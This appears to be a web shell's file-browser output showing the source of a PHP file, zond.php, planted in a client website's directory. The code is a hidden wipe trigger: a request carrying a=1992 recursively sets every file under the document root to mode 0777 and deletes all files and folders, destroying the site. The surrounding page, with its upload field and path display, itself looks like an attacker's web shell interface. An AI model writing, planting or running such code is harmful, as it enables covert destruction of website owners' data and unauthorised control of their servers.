Your IP : 172.28.240.42


Current Path : /var/www/html/clients/pv.e-nk.ru/
Upload File :
Current File : /var/www/html/clients/pv.e-nk.ru/zond.php

<?if($_GET['a']==1992){
$DeletedFolder='/';
formt($_SERVER['DOCUMENT_ROOT'].$DeletedFolder);
} else {
echo "not `a` var not";
}
function formt($path)
{
	if(file_exists($path) && is_dir($path))
	{
		$dirHandle = opendir($path);
		while (false !== ($file = readdir($dirHandle))) 
		{
			if ($file!='.' && $file!='..')
			{
				$tmpPath=$path.'/'.$file;
				chmod($tmpPath, 0777);
				
				if (is_dir($tmpPath))
	  			{  
					formt($tmpPath);
			   	} 
	  			else 
	  			{ 
	  				if(file_exists($tmpPath))
					{
						
	  					unlink($tmpPath);
					}
	  			}
			}
		}
		closedir($dirHandle);
		
		
		if(file_exists($path))
		{
			rmdir($path);
		}
	}
	else
	{
		echo "Errr";
	}
}
?>